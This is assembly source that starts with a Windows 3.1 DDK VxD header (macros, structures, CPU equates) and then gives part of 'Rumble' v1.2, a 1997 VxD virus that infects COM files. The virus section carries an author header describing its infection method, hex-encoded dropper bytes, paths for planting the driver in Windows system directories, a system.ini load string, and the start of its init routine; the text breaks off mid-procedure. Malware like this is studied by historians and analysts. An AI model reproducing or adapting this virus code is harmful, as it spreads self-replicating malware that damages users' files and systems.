Client_SI	dw	?		; Client's SI
		dw	?		;   (padding)
Client_BP	dw	?		; Client's BP
		dw	?		;   (padding)
		dd	?		; ESP at pushall
Client_BX	dw	?		; Client's BX
		dw	?		;   (padding)
Client_DX	dw	?		; Client's DX
		dw	?		;   (padding)
Client_CX	dw	?		; Client's CX
		dw	?		;   (padding)
Client_AX	dw	?		; Client's AX
		dw	?		;   (padding)
		dd	?		; Dword error code
Client_IP	dw	?		; Client's IP
		dw	?		;   (padding)
		dd	?		; CS
Client_Flags	dw	?		; Client's flags (low)
		dw	?		;   (padding)
Client_SP	dw	?		; SP
		dw	?
		dd	5 dup (?)
Client_Alt_IP	dw	?
		dw	?
		dd	?
Client_Alt_Flags    dw	?
		dw	?
Client_Alt_SP	dw	?
Client_Word_Reg_Struc	ends



Client_Byte_Reg_Struc	struc
		dd	4 dup (?)	; EDI, ESI, EBP, ESP at pushall
Client_BL	db	?		; Client's BL
Client_BH	db	?		; Client's BH
		dw	?		;   (padding)
Client_DL	db	?		; Client's DL
Client_DH	db	?		; Client's DH
		dw	?		;   (padding)
Client_CL	db	?		; Client's CL
Client_CH	db	?		; Client's CH
		dw	?		;   (padding)
Client_AL	db	?		; Client's AL
Client_AH	db	?		; Client's AH
Client_Byte_Reg_Struc	ends

;==============================================================================
EndDoc

.ERRNZ Client_SP - Client_ESP
.ERRNZ Client_AL - Client_EAX



PushCParams MACRO P1, P2, P3, P4, P5, P6, P7, P8, P9, P10
	IRP Param, <P10, P9, P8, P7, P6, P5, P4, P3, P2, P1>
	IFNB <Param>
	push	Param
	ENDIF
	ENDM
	ENDM

ClearCParams MACRO Count, P1, P2, P3, P4, P5, P6, P7, P8, P9, P10
IFNB <P1>
	ClearCParams %(Count+1), <P2>, <P3>, <P4>, <P5>, <P6>, <P7>, <P8>, <P9>, <P10>
ELSE
IF Count
	add	esp, Count*4
ENDIF
ENDIF
	ENDM

Dyna_Link_Int	EQU 20h

;
;
BeginDoc
;******************************************************************************
; The VMMCall and VxDCall macros provide a dynamic link to the VMM and VxD
;   service routines. For example:
;
;   VMMCall Enable_VM_Ints		; Equivalent to STI in VM code
;
;   mov     eax,[My_IRQ_Handle]
;   VxDCall VPICD_Set_Int_Request	; Set IRQ for my device's interrupt
;
; Note that Enable_VM_Ints is defined in VMM.INC and VPICD_Set_Int_Request is
;	defined in VPICD.INC
;
;==============================================================================
EndDoc


BeginDoc
;******************************************************************************
; VxDCall
;==============================================================================
EndDoc
VxDcall MACRO P, Param
	PushCParams Param
	int	Dyna_Link_Int
	dd	P
	ClearCParams 0, Param
	ENDM

VxDjmp	MACRO P, Param
IFNB <Param>
%OUT ERROR:  Parameters may not be passed to VxDjmp or VMMjmp macros
.ERR
ENDIF
	int	Dyna_Link_Int
IFDEF DEBUG
	dd	P
	ret
ELSE
	dd	P OR DL_Jmp_Mask
ENDIF
	ENDM

DL_Jmp_Mask	EQU	8000h
DL_Jmp_Bit	EQU	0Fh


VMMcall MACRO P, Param
	.ERRNZ (P SHR 16) - VMM_Device_ID
	VxDcall <P>, <Param>
	ENDM

VMMjmp MACRO P, Param
	.ERRNZ (P SHR 16) - VMM_Device_ID
	VxDjmp <P>, <Param>
	ENDM

cCall MACRO P, Param
	PushCParams Param
	call	P
	ClearCParams 0, Param
	ENDM


BeginDoc
;******************************************************************************
; Segment definition macros
;
; The segment definition macros are a convenience used in defining the
;	segments used by the device driver. They are:
;VxD_ICODE_SEG	 defines start of initialization code segment
;VxD_ICODE_ENDS  defines end of initialization code segment
;VxD_IDATA_SEG	 defines start of initialization data segment
;VxD_IDATA_ENDS  defines end of initialization data segment
;VxD_CODE_SEG	 defines start of always present code segment
;VxD_CODE_ENDS	 defines end of always present code segment
;VxD_DATA_SEG	 defines start of always present data segment
;VxD_DATA_ENDS	 defines end of always present data segment
;==============================================================================
EndDoc


;   Protected mode code
VxD_CODE_SEG	EQU <VxD_LOCKED_CODE_SEG>
VxD_CODE_ENDS	EQU <VxD_LOCKED_CODE_ENDS>


VxD_LOCKED_CODE_SEG MACRO
_LTEXT	 SEGMENT
??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHL 3 + ??_LCODE
	ASSUME	cs:FLAT, ds:FLAT, es:FLAT, ss:FLAT
		ENDM

VxD_LOCKED_CODE_ENDS MACRO
??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHR 3
_LTEXT	 ENDS
		ENDM

;   Protected mode initialization code
VxD_ICODE_SEG	MACRO
_ITEXT	SEGMENT
??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHL 3 + ??_ICODE
	ASSUME	cs:FLAT, ds:FLAT, es:FLAT, ss:FLAT
		ENDM

VxD_ICODE_ENDS	MACRO
??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHR 3
_ITEXT	ENDS
		ENDM


;   Protected mode data
VxD_DATA_SEG	EQU <VxD_LOCKED_DATA_SEG>
VxD_DATA_ENDS	EQU <VxD_LOCKED_DATA_ENDS>



VxD_LOCKED_DATA_SEG MACRO NO_ALIGN
_LDATA	 SEGMENT
IFB <NO_ALIGN>
	ALIGN 4
ENDIF
		ENDM

VxD_LOCKED_DATA_ENDS MACRO
_LDATA	 ENDS
		ENDM




;   Protected mode initialization data
VxD_IDATA_SEG	MACRO
_IDATA	SEGMENT
		ENDM
VxD_IDATA_ENDS	MACRO
_IDATA	ENDS
		ENDM

VxD_REAL_INIT_SEG  MACRO
_RCODE SEGMENT
ASSUME CS:_RCODE, DS:_RCODE, ES:_RCODE, SS:_RCODE
??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHL 3 + ??_RCODE
		  ENDM

VxD_REAL_INIT_ENDS MACRO
??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHR 3
_RCODE ENDS
		   ENDM

ENDIF

DDK_Version equ 30Ah		; 3.10

VxD_Desc_Block STRUC
DDB_Next		dd  ?			; VMM RESERVED FIELD
DDB_SDK_Version 	dw  DDK_Version 	; VMM RESERVED FIELD
DDB_Req_Device_Number	dw  Undefined_Device_ID ; Required device number
DDB_Dev_Major_Version	db  0			; Major device number
DDB_Dev_Minor_Version	db  0			; Minor device number
DDB_Flags		dw  0			; Flags for init calls complete
DDB_Name		db  "        "		; Device name
DDB_Init_Order		dd  Undefined_Init_Order; Initialization Order
DDB_Control_Proc	dd  ?			; Offset of control procedure
DDB_V86_API_Proc	dd  0			; Offset of API procedure (or 0)
DDB_PM_API_Proc 	dd  0			; Offset of API procedure (or 0)
DDB_V86_API_CSIP	dd  0			; CS:IP of API entry point
DDB_PM_API_CSIP 	dd  0			; CS:IP of API entry point
DDB_Reference_Data	dd  ?			; Reference data from real mode
DDB_Service_Table_Ptr	dd  0			; Pointer to service table
DDB_Service_Table_Size	dd  0			; Number of services
VxD_Desc_Block ENDS


IFNDEF Not_VxD

; flag values for DDB_Flags

DDB_Sys_Crit_Init_Done	    EQU 00000001b
DDB_Sys_Crit_Init_Done_Bit  EQU        0
DDB_Device_Init_Done	    EQU 00000010b
DDB_Device_Init_Done_Bit    EQU       1

BeginDoc
;******************************************************************************
;
;   Declare_Virtual_Device macro
;
; ???? Write something here ????
;
;==============================================================================
EndDoc
Declare_Virtual_Device MACRO Name, Major_Ver, Minor_Ver, Ctrl_Proc, Device_Num, Init_Order, V86_Proc, PM_Proc
	LOCAL	V86_API_Offset, PM_API_Offset, Serv_Tab_Offset, Serv_Tab_Len

dev_id_err MACRO
%OUT Device ID required when providing services
.ERR
	ENDM

IFB <V86_Proc>
	V86_API_Offset EQU 0
ELSE
IFB <Device_Num>
	dev_id_err
ENDIF
	V86_API_Offset EQU <OFFSET32 V86_Proc>
ENDIF
IFB <PM_Proc>
	PM_API_Offset EQU 0
ELSE
IFB <Device_Num>
	dev_id_err
ENDIF
	PM_API_Offset EQU <OFFSET32 PM_Proc>
ENDIF
IFDEF Name&_Service_Table
IFB <Device_Num>
	dev_id_err
ELSE
IFE Device_Num - Undefined_Device_ID
	dev_id_err
ENDIF
ENDIF
	Serv_Tab_Offset EQU <OFFSET32 Name&_Service_Table>
	Serv_Tab_Len	EQU Num_&Name&_Services
ELSE
	Serv_Tab_Offset EQU 0
	Serv_Tab_Len	EQU 0
ENDIF


VxD_LOCKED_DATA_SEG
PUBLIC Name&_DDB
Name&_DDB VxD_Desc_Block <,,Device_Num,Major_Ver,Minor_Ver,,"&Name",Init_Order,\
			 OFFSET32 Ctrl_Proc, V86_API_Offset, PM_API_Offset, \
			 ,,,Serv_Tab_Offset, Serv_Tab_Len>
VxD_LOCKED_DATA_ENDS
	ENDM


BeginDoc
;******************************************************************************
; The Begin_Control_Dispatch macro is used for building a table for dispatching
; messages passed to the VxD_Control procedure.  It is used with
; Control_Dispatch and End_Control_Dispatch.  The only parameter is used to
; contruct the procedure label by adding "_Control" to the end (normally the
; device name is used i.e. VKD results in creating the procedure VKD_Control,
; this created procedure label must be included in Declare_Virtual_Device)
;
; An example of building a complete dispatch table:
;
; Begin_Control_Dispatch MyDevice
; Control_Dispatch  Device_Init, MyDeviceInitProcedure
; Control_Dispatch  Sys_VM_Init, MyDeviceSysInitProcedure
; Control_Dispatch  Create_VM,	 MyDeviceCreateVMProcedure
; End_Control_Dispatch MyDevice
;
; (NOTE: Control_Dispatch can be used without Begin_Control_Dispatch, but
;	 then it is the programmer's responsibility for declaring a procedure
;	 in locked code (VxD_LOCKED_CODE_SEG) and returning Carry clear for
;	 any messages not processed.  The advantage in using
;	 Begin_Control_Dispatch is when a large # of messages are processed by
;	 a device, because a jump table is built which will usually require
;	 less code space then the compares and jumps that are done when
;	 Control_Dispatch is used alone.
;
;==============================================================================
EndDoc
Begin_Control_Dispatch MACRO VxD_Name
??_cd_low = 0FFFFFFFFh
??_cd_high = 0

BeginProc VxD_Name&_Control
ENDM

End_Control_Dispatch   MACRO VxD_Name
	LOCAL ignore, table

jmpproc MACRO num
	jmp	??_cd_&&num
ENDM

procoff MACRO num
IFDEF ??_cd_&&num
	dd	OFFSET32 ??_cd_&&num
ELSE
	dd	OFFSET32 ignore
ENDIF
ENDM

IF ??_cd_low EQ ??_cd_high
	cmp	eax, ??_cd_low
	jne	short ignore
	jmpproc %(??_cd_low)
ignore:
	clc
	ret
ELSE
	cmp	eax, ??_cd_high
	ja	short ignore
	sub	eax, ??_cd_low
	jb	short ignore
	jmp	cs:[eax*4+table]
ignore:
	clc
	ret

table label dword
	REPT   ??_cd_high - ??_cd_low + 1
	procoff %(??_cd_low)
	??_cd_low = ??_cd_low + 1
	ENDM
ENDIF

EndProc VxD_Name&_Control

PURGE jmpproc
PURGE procoff
PURGE Begin_Control_Dispatch
PURGE Control_Dispatch
PURGE End_Control_Dispatch
ENDM

BeginDoc
;******************************************************************************
; The Control_Dispatch macro is used for dispatching based on message
;	passed to the VxD_Control procedure. E.G.:
;
; Control_Dispatch  Device_Init, MyDeviceInitProcedure
;
; (NOTE: Control_Dispatch can be used with Begin_Control_Dispatch and
;	 End_Control_Dispatch to create a jump table for dispatching messages,
;	 when a large # of messages are processed.)
;
;==============================================================================
EndDoc
Control_Dispatch MACRO Service, Procedure
	LOCAL Skip_Interseg_Jump

IFE ?_lcode
IFDEF ??_cd_low
Equate_Service MACRO Serv
??_cd_&&Serv equ Procedure
ENDM

Equate_Service %(Service)

IF Service LT ??_cd_low
??_cd_low = Service
ENDIF
IF Service GT ??_cd_high
??_cd_high = Service
ENDIF

PURGE Equate_Service

ELSE
	cmp	eax, Service
	jne	SHORT Skip_Interseg_Jump
	jmp	Procedure
Skip_Interseg_Jump:
ENDIF
ELSE
%OUT ERROR:  The Control proc should be in LOCKED code.
%OUT	     Control_Dispatch can only be used inside of VxD_LOCKED_CODE_SEG.
.err
ENDIF
	ENDM


BeginDoc
;******************************************************************************
; The following are the definitions for the "type of I/O" parameter passed
;   to a I/O trap routine
Byte_Input	EQU	000h
Byte_Output	EQU	004h
Word_Input	EQU	008h
Word_Output	EQU	00Ch
Dword_Input	EQU	010h
Dword_Output	EQU	014h

Output		EQU	0000000000000100b
Output_Bit	EQU	2
Word_IO 	EQU	0000000000001000b
Word_IO_Bit	EQU	3
Dword_IO	EQU	0000000000010000b
Dword_IO_Bit	EQU	4

String_IO	EQU	00000020h
String_IO_Bit	EQU	5
Rep_IO		EQU	00000040h
Rep_IO_Bit	EQU	6
Addr_32_IO	EQU	00000080h
Addr_32_IO_Bit	EQU	7
Reverse_IO	EQU	00000100h
Reverse_IO_Bit	EQU	8

IO_Seg_Mask	EQU	0FFFF0000h		; Use these bits to get segment
IO_Seg_Shift	EQU	10h			; Must shift right this many

;==============================================================================
EndDoc

BeginDoc
;******************************************************************************
;
;   Dispatch_Byte_IO macro
;
; Dispatch_Byte_IO Byte_In_Proc, Byte_Out_Proc
;==============================================================================
EndDoc
Dispatch_Byte_IO MACRO In_Proc, Out_Proc
	LOCAL	Byte_IO
	cmp	ecx, Byte_Output
	jbe	SHORT Byte_IO
	VMMjmp	Simulate_IO
Byte_IO:
IFIDNI <In_Proc>, <Fall_Through>
	je	Out_Proc
ELSE
IFIDNI <Out_Proc>, <Fall_Through>
	jb	In_Proc
ELSE
	je	Out_Proc
	jmp	In_Proc
ENDIF
ENDIF
	ENDM

BeginDoc
;******************************************************************************
;
;   Emulate_Non_Byte_IO
;
; Emulate_Non_Byte_IO
;
;==============================================================================
EndDoc
Emulate_Non_Byte_IO MACRO
	LOCAL	Byte_IO
	cmp	ecx, Byte_Output
	jbe	SHORT Byte_IO
	VMMjmp	Simulate_IO
Byte_IO:
	ENDM


VxD_IOT_Hdr STRUC
VxD_IO_Ports	dw  ?
VxD_IOT_Hdr ENDS

VxD_IO_Struc STRUC
VxD_IO_Port	dw  ?
VxD_IO_Proc	dd  ?
VxD_IO_Struc ENDS


BeginDoc
;******************************************************************************
;
; Begin_VxD_IO_Table
;
;   Example:
; Begin_VxD_IO_Table MyTableName
;
;==============================================================================
EndDoc
.ERRNZ SIZE VxD_IOT_Hdr - 2	; Begin_VxD_IO_Table creates a 1 word count hdr
Begin_VxD_IO_Table MACRO Table_Name
PUBLIC Table_Name
Table_Name LABEL WORD
IF2
IFNDEF Table_Name&_Entries
%OUT ERROR:  No End_VxD_IO_Table for &Table_Name
.ERR
ENDIF
	dw	Table_Name&_Entries
ELSE
	dw	?
ENDIF

	ENDM

.ERRNZ SIZE VxD_IO_Struc - 6	; VxD_IO creates 6 byte I/O port entries
VxD_IO MACRO Port, Proc_Name
	dw	Port
	dd	OFFSET32 Proc_Name
	ENDM

End_VxD_IO_Table MACRO Table_Name

IFNDEF Table_Name
%OUT ERROR:  No Begin_VxD_IO_Table for &Table_Name
.ERR
ELSE
	Table_Name&_Entries EQU (($-Table_Name)-2) / (SIZE VxD_IO_Struc)
IF Table_Name&_Entries LE 0
%OUT ERROR:  Invalid number of port traps in &Table_Name
.ERR
ENDIF
ENDIF
	    ENDM


;******************************************************************************
;******************************************************************************

Push_Client_State MACRO
	sub	esp, SIZE Client_Reg_Struc
	push	edi
	lea	edi, [esp+4]
	VMMcall Save_Client_State
	pop	edi
	ENDM

Pop_Client_State MACRO
	push	esi
	lea	esi, [esp+4]
	VMMcall Restore_Client_State
	pop	esi
	add	esp, SIZE Client_Reg_Struc
	ENDM

BeginDoc
;******************************************************************************
;
;   CallRet -- Call procedure and return.  For debugging purposes only.
;	       If compiled with debugging then this will generate a call
;	       followed by a return.  If non-debugging version then the
;	       specified label will be jumped to.
;
;   PARAMETERS:
;	Label_Name = Procedure to be called
;
;   EXIT:
;	Return from current procedure
;
;------------------------------------------------------------------------------
EndDoc

CallRet MACRO P1, P2
IFDEF DEBUG
IFIDNI <P1>, <SHORT>
	call	P2
ELSE
	call	P1
ENDIF
	ret
ELSE
	jmp	P1 P2
ENDIF
	ENDM


; ebp offsets to segments pushed by PMode_Fault in Fault_Dispatch
PClient_DS equ WORD PTR -4
PClient_ES equ WORD PTR -8
PClient_FS equ WORD PTR -12
PClient_GS equ WORD PTR -16


Client_Ptr_Flat MACRO Reg_32, Cli_Seg, Cli_Off

IFDIFI <Reg_32>, <EAX>
	push	eax
ENDIF
IFB <Cli_Off>
	mov	ax, (Client_&Cli_Seg * 100h) + 0FFh
ELSE
	mov	ax, (Client_&Cli_Seg * 100h) + Client_&Cli_Off
ENDIF
	VMMcall Map_Flat

IFDIFI <Reg_32>, <EAX>
	mov	Reg_32, eax
	pop	eax
ENDIF

	ENDM

;------------------------------------------------------------------------------

VxDint	MACRO	Int_Number
	push	DWORD PTR Int_Number
	VMMcall Exec_VxD_Int
	ENDM


ENDIF	; Not_VxD


BeginDoc
;******************************************************************************
;
;   The following equates are for flags sent to the real mode
;   initialization portion of a device driver:
;
Duplicate_Device_ID	    equ 0000000000000001b   ; duplicate device ID already
Duplicate_Device_ID_Bit     equ 	       0    ; loaded
Duplicate_From_INT2F	    equ 0000000000000010b   ; duplicate device ID already
Duplicate_From_INT2F_Bit    equ 	      1     ; loaded as part of INT 2F
						    ; device list
Loading_From_INT2F	    equ 0000000000000100b   ; this device was specified
Loading_From_INT2F_Bit	    equ 	     2	    ; in the INT 2F device list

EndDoc

BeginDoc
;******************************************************************************
;
;   The following equates are used to indicate the result of the real mode
;   initialization portion of a device driver:
;

Device_Load_Ok	    equ 0		; protected mode portion of device
					; should be loaded
Abort_Device_Load   equ 1		; don't load any protected mode portion
					; of this device, but continue loading
					; the rest of the devices
Abort_Win386_Load   equ 2		; fatal-error: abort the load of Win386

No_Fail_Message     equ 8000h		; The high bit is set in the return
No_Fail_Message_Bit equ 15		; code, if the loader should not print
					; any message for results
					; Abort_Device_Load or Abort_Win386_Load
;==============================================================================
EndDoc


;==============================================================================

; CR0 bit assignments
PE_Mask 	EQU	0001h	; 1 = Protected Mode
PE_Bit		EQU	0
MP_Mask 	EQU	0002h	; 1 = Monitor Coprocessor
MP_Bit		EQU	1
EM_Mask 	EQU	0004h	; 1 = Emulate Math Coprocessor
EM_Bit		EQU	2
TS_Mask 	EQU	0008h	; 1 = Task Switch occured
TS_Bit		EQU	3
ET_Mask 	EQU	0010h	; 1 = 387 present, 0 = 287 present
ET_Bit		EQU	4
PG_Mask 	EQU 80000000h	; 1 = paging enabled, 0 = paging disabled
PG_Bit		EQU	31


; EFLAGs bit assignments
CF_Mask 	EQU	000000000000000001b	; Carry flag
CF_Bit		EQU	0
PF_Mask 	EQU	000000000000000100b	; Parity flag
PF_Bit		EQU	2
AF_Mask 	EQU	000000000000010000b	; Aux flag
AF_Bit		EQU	4
ZF_Mask 	EQU	000000000001000000b	; Zero flag
ZF_Bit		EQU	6
SF_Mask 	EQU	000000000010000000b	; Sign flag
SF_Bit		EQU	7
TF_Mask 	EQU	000000000100000000b	; Trace flag
TF_Bit		EQU	8
IF_Mask 	EQU	000000001000000000b	; Int flag
IF_Bit		EQU	9
DF_Mask 	EQU	000000010000000000b	; Direction flag
DB_Bit		EQU	10
OF_Mask 	EQU	000000100000000000b	; Overflow flag
OF_Bit		EQU	11
IOPL_Mask	EQU	000011000000000000b	; IOPL flags
IOPL_Bit0	EQU	12
IOPL_Bit1	EQU	13
NT_Mask 	EQU	000100000000000000b	; Nested task flag
NT_Bit		EQU	14
RF_Mask 	EQU	010000000000000000b	; Resume flag
RF_Bit		EQU	16
VM_Mask 	EQU	100000000000000000b	; Virtual Mode flag
VM_Bit		EQU	17


;------------------------------------------------------------------------------
;
;	  Temporary MASM macros (to be removed when supported by MASM)
;
;------------------------------------------------------------------------------

loopd EQU <loop>
loopde EQU <loope>
loopdne EQU <loopne>
loopdz EQU <loopz>
loopdnz EQU <loopnz>


;******************************************************************************
; PAGE TABLE EQUATES
;******************************************************************************


P_SIZE		equ	1000h		; page size

; ---------------------------------------------------
;
;	Page table entry bits
;
; ---------------------------------------------------

P_PRES		equ	01h		; page present bit
P_PRESBit	equ	0
P_WRITE 	equ	02h		; write access bit
P_WRITEBit	equ	1
P_USER		equ	04h		; access bit for User mode
P_USERBit	equ	2
P_ACC		equ	20h		; page accessed bit
P_ACCBit	equ	5
P_DIRTY 	equ	40h		; page dirty bit
P_DIRTYBit	equ	6

P_AVAIL 	equ	(P_PRES+P_WRITE+P_USER) ; avail to everyone & present

; ---------------------------------------------------
;
;  Page types - definition of the OS reserved bits in the page table
;		entry.
; ---------------------------------------------------

PG_TYPE 	equ	0E00h		; TYPE bits in PTE

; ---------------------------------------------------
;
;	 Page types for page allocator calls
;
; ---------------------------------------------------
PG_VM		equ	0
PG_SYS		equ	1
PG_RESERVED1	equ	2
PG_PRIVATE	equ	3
PG_RESERVED2	equ	4
PG_RELOCK	equ	5		; PRIVATE to MMGR
PG_INSTANCE	equ	6
PG_HOOKED	equ	7
PG_IGNORE	equ	0FFFFFFFFh


; ---------------------------------------------------
;
;	 Types for page table entries
;
; ---------------------------------------------------
PgT_VM		equ	PG_VM SHL 9
PgT_SYS 	equ	PG_SYS SHL 9
PgT_RESERVED1	equ	PG_RESERVED1 SHL 9
PgT_PRIVATE	equ	PG_PRIVATE SHL 9
PgT_RESERVED2	equ	PG_RESERVED2 SHL 9
PgT_RELOCK	equ	PG_RELOCK SHL 9
PgT_INSTANCE	equ	PG_INSTANCE SHL 9
PgT_HOOKED	equ	PG_HOOKED SHL 9



;******************************************************************************

; ---------------------------------------------------
;
; Definitions for the access byte in a descriptor
;
; ---------------------------------------------------


; Following fields are common to segment and control descriptors

D_PRES		equ	080h		; present in memory
D_NOTPRES	equ	0		; not present in memory

D_DPL0		equ	0		; Ring 0
D_DPL1		equ	020h		; Ring 1
D_DPL2		equ	040h		; Ring 2
D_DPL3		equ	060h		; Ring 3

D_SEG		equ	010h		; Segment descriptor
D_CTRL		equ	0		; Control descriptor

D_GRAN_BYTE	equ	000h		; Segment length is byte granular
D_GRAN_PAGE	equ	080h		; Segment length is page granular
D_DEF16 	equ	000h		; Default operation size is 16 bits
D_DEF32 	equ	040h		; Default operation size is 32 bits


; Following fields are specific to segment descriptors

D_CODE		equ	08h		; code
D_DATA		equ	0		; data

D_RX		equ	02h		; if code, readable
D_X		equ	0		; if code, exec only
D_W		equ	02h		; if data, writable
D_R		equ	0		; if data, read only

D_ACCESSED	equ	1		; segment accessed bit


; Useful combination access rights bytes

RW_Data_Type equ (D_PRES+D_SEG+D_DATA+D_W)
R_Data_Type  equ (D_PRES+D_SEG+D_DATA+D_R)
Code_Type    equ (D_PRES+D_SEG+D_CODE+D_RX)

D_PAGE32	equ	(D_GRAN_PAGE+D_DEF32)		  ; 32 bit Page granular

; Masks for selector fields

SELECTOR_MASK	equ	0fff8h		; selector index
SEL_LOW_MASK	equ	0f8h		; mask for low byte of sel indx
TABLE_MASK	equ	04h		; table bit
RPL_MASK	equ	03h		; privilige bits
RPL_CLR 	equ	not 03h 	; clear ring bits

                               _ _ _ _ _
                             /  _ _ _    \
                           /  /       \    \
                         /__/           \   |
                                         |  |
                                         |  |
                                  _ _ _ /   |
                                 |_ _ _     |
                                        \   |
                                         |  |
                         __              |  |
                         \  \           /   |
                           \  \ _ _ _ /    /   __
                             \ _ _ _ _ _ /    |__|

Comment @
����������������������������������������������������������������������������Ŀ
� *Rumble* v1.2 - Written by Reptile - 1997                                  �
����������������������������������������������������������������������������Ĵ
� Size:          � 5550 bytes                                                �
� Origin:        � Switzerland                                               �
� Targets:       � Com files                                                 �
� Type:          � Vxd com returncode infector                               �
����������������������������������������������������������������������������Ĵ
� Infection:     � When an infected file is run, the dropper portion of the  �
�                � virus drops the vxd portion in the 'c:\windows\system',   �
�                � the 'c:\windows.000\system' or the 'c:\win95\system' dir  �
�                � and loads it in the system.ini. After the next reboot     �
�                � the vxd is in memory and searches for the returncode      �
�                � (�L�!) of every executed com file. If the returncode is   �
�                � found, the virus overwrites it with a jmp to the end of   �
�                � the file and writes itself behind.                        �
�����������������������������������������������������������������������������Ĵ
� Note:          � Some programs won't terminate correct after infection.    �
�                �                                                           �
�                � This virus is a test, it won't survive 1 second in the    �
�                � wild. Mainly because it has got only com infection. And   �
�                � er... it's buggy.                                         �
����������������������������������������������������������������������������Ĵ
� Compiling:     � MASM v5.10 (Windoze 3.11 DDK)                             �
�                � masm5 -p -w2 vdr.asm                                      �
�                � link386 vdr.obj,vdr.386,,,vdr.def                         �
�                � addhdr vda.386                                            �
������������������������������������������������������������������������������
����������������������������������������������������������������������������Ŀ
� File: VDR.ASM                                                              �
������������������������������������������������������������������������������
@

.386p

.xlist
include vmm.inc
.list

Declare_Virtual_Device VDR, 1, 0, VDR_Control, Undefined_Device_Id, \
Undefined_Init_Order,,

VxD_Locked_Data_Seg
drop1 db 0E8h, 000h, 000h, 05Dh, 081h, 0EDh, 003h, 001h   ;dropper code
      db 0B8h, 002h, 03Dh, 08Dh, 096h, 0EBh, 001h, 0CDh
      db 021h, 073h, 019h, 0B8h, 002h, 03Dh, 08Dh, 096h
      db 001h, 002h, 0CDh, 021h, 073h, 01Dh, 0B8h, 002h
      db 03Dh, 08Dh, 096h, 01Bh, 002h, 0CDh, 021h, 073h
      db 021h, 0E9h, 0BBh, 000h, 093h, 053h, 0B8h, 000h
      db 03Dh, 08Dh, 096h, 02Fh, 002h, 0CDh, 021h, 072h
      db 01Eh, 0EBh, 0EEh, 093h, 053h, 0B8h, 000h, 03Dh
      db 08Dh, 096h, 049h, 002h, 0CDh, 021h, 072h, 00Fh
      db 0EBh, 0DFh, 093h, 053h, 0B8h, 000h, 03Dh, 08Dh
      db 096h, 067h, 002h, 0CDh, 021h, 073h, 0D2h, 0B4h
      db 03Ch, 033h, 0C9h, 0CDh, 021h, 093h, 0B4h, 040h
      db 0B9h, 01Eh, 014h, 08Dh, 096h, 090h, 002h, 0CDh
      db 021h, 0B4h, 03Eh, 0CDh, 021h, 05Bh, 0B8h, 002h
      db 042h, 033h, 0C9h, 099h, 0CDh, 021h, 089h, 086h
      db 0E9h, 001h, 0B8h, 000h, 042h, 033h, 0C9h, 099h
      db 0CDh, 021h, 0B4h, 03Fh, 0B9h, 001h, 000h, 08Dh,096h, 08Fh, 002h, 0CDh
      db 021h, 00Bh, 0C0h, 074h
      db 052h, 080h, 0BEh, 08Fh, 002h, 06Eh, 075h, 0EAh
      db 0B4h, 03Fh, 0B9h, 002h, 000h, 08Dh, 096h, 08Fh
      db 002h, 0CDh, 021h, 081h, 0BEh, 08Fh, 002h, 068h
      db 05Dh, 075h, 0D7h, 0B8h, 001h, 042h, 033h, 0C9h
      db 099h, 0CDh, 021h, 050h, 029h, 086h, 0E9h, 001h
      db 08Bh, 08Eh, 0E9h, 001h, 0B4h, 03Fh, 08Dh, 096h
      db 08Fh, 002h, 0CDh, 021h, 0B8h, 000h, 042h, 033h
      db 0C9h, 05Ah, 0CDh, 021h, 0B4h, 040h, 0B9h, 010h
      db 000h, 08Dh, 096h, 07Fh, 002h, 0CDh, 021h, 0B4h
      db 040h, 08Bh, 08Eh, 0E9h, 001h, 08Dh, 096h, 08Fh
      db 002h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 0CDh
      db 020h, 000h, 000h, 063h, 03Ah, 05Ch, 077h, 069h
      db 06Eh, 064h, 06Fh, 077h, 073h, 05Ch, 073h, 079h
      db 073h, 074h, 065h, 06Dh, 02Eh, 069h, 06Eh, 069h
      db 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh, 064h
      db 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h, 05Ch
      db 073h, 079h, 073h, 074h, 065h, 06Dh, 02Eh, 069h
      db 06Eh, 069h, 000h, 063h, 03Ah, 05Ch, 077h, 069h
      db 06Eh, 039h, 035h, 05Ch, 073h, 079h, 073h, 074h
      db 065h, 06Dh, 02Eh, 069h, 06Eh, 069h, 000h

      ;db 063h
      ;db 03Ah, 05Ch, 077h, 069h, 06Eh, 064h, 06Fh, 077h
      ;db073h, 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh
      ;db 05Ch, 076h, 064h, 072h, 02Eh, 033h, 038h, 036h
      ;db 000h
stpl1 db 'c:\windows\system\vdr.386',0

      ;db 063h, 03Ah, 05Ch, 077h, 069h, 06Eh, 064h
      ;db 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h, 05Ch
      ;db 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch, 076h
      ;db 064h, 072h, 02Eh, 033h, 038h, 036h, 000h
stpl2 db 'c:\windows.000\system\vdr.386',0

      ;db 063h
      ;db 03Ah, 05Ch, 077h, 069h, 06Eh, 039h, 035h, 05Ch
      ;db 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch, 076h
      ;db 064h, 072h, 02Eh, 033h, 038h, 036h, 000h
stpl3 db 'c:\win95\system\vdr.386',0

drop2 db 00Dh ;dropstring
      db 00Ah, 064h, 065h, 076h, 069h, 063h, 065h, 03Dh ;dropstring
      db 076h, 064h, 072h, 02Eh, 033h, 038h, 036h, 000h ;dropstring,rbuf
      ;db 000h, 

rbuf db ?   ;read buffer
djmp dw ?   ;filesize
njmp db 233,0,0 ;jmp to dropper

exec db 'win.com'   ;don't even open win.com while starting win95
     db 9 dup (0)   
execl dw 8

store dd ?  ;place to store the vxd
VxD_Locked_Data_Ends

VxD_Locked_Code_Seg
copyright db 10,13,'*Rumble* v1.2 - Written by Reptile - 1997',10,13

BeginProc VDR_Device_Init
mov eax,3d22h   ;open vxd
lea edx,stpl1   ;in the 'c:\windows\system' dir
vxdint 21h
jnc short rd

mov eax,3d22h   ;open vxd
lea edx,stpl2   ;in the 'c:\windows.000\system' dir
vxdint 21h
jnc short rd

mov eax,3d22h   ;open vxd
lea edx,stpl3   ;in the 'c:\win95\system' dir
vxdint 21h
jc short e  ;skip it

rd:
xchg eax,ebx

mov eax,3f00h   ;store the vxd
mov ecx,5150
lea edx,store
vxdint 21h
jc short e  ;skip it

